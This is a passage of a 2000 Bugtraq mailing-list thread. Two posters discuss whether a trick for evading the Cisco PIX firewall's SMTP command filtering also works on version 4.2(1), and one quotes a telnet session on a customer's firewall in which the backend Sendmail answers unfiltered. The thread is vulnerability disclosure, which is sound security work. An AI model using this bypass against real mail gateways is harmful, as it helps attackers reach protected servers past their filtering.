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Re: Cisco PIX Firewall (smtp content filtering hack) - Version 4.2(1) not exploitable
From: "Fabio Pietrosanti (naif)" <naif () INET IT>
Date: Wed, 20 Sep 2000 10:34:44 +0200

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Work also on 4.2(1),
It's normal that you'll receive an error like this, but after you can
inject any command you wish without having them filtered.

This is a session on a customer's 4.2(1) pix .

Trying...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 SMTP/cmap
ready_______________________________________________________________
help
500 Command unrecognized: "XXXX"
data
503 Need MAIL command
help
214-This is Sendmail version 8.9.3
214-Topics:
214-    HELO    EHLO    MAIL    RCPT    DATA
214-    RSET    NOOP    QUIT    HELP    VRFY
214-    EXPN    VERB    ETRN    DSN
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214-    sendmail-bugs () sendmail org 
214-For local information send email to Postmaster at your site.
214 End of HELP info
quit
221 to.protect.customer.it closing connection
Connection closed.


e-mail:  naif () inet it                ( Direzione Tecnica, Gruppo Firewall )
PGP Key (DSS)                           http://naif.itapac.net/naif.asc
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On Wed, 20 Sep 2000, Leandro Dardini wrote:

I test my (old) pix box running 4.2(1) and it is not exploitable.
When I try to not complete my smtp session, issuing a "data" command before
rcpt, I receive a
503 Need RCPT (recipient)
message.
I test other permutation of helo, mail, rcpt, data command but all fails.

Leandro

----- Original Message -----
From: naif <naif () INET IT>
To: <BUGTRAQ () SECURITYFOCUS COM>
Sent: Tuesday, September 19, 2000 6:27 PM
Subject: Cisco PIX Firewall (smtp content filtering hack)


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How to escape "fixup smtp" of  Cisco Pix Firewall:

The Cisco Pix Firewall normally restrict some protocol
command(http,ftp,smtp) and manage
multisession protocol(h323, ftp,sqlnet) .
I made some test on a BSDI3.0 running sendmail9 placed in the dmz .
The Pix version it's the latest, 5.2(1)... here the output of "show ver"
=====================================================
Cisco Secure PIX Firewall Version 5.2(1)





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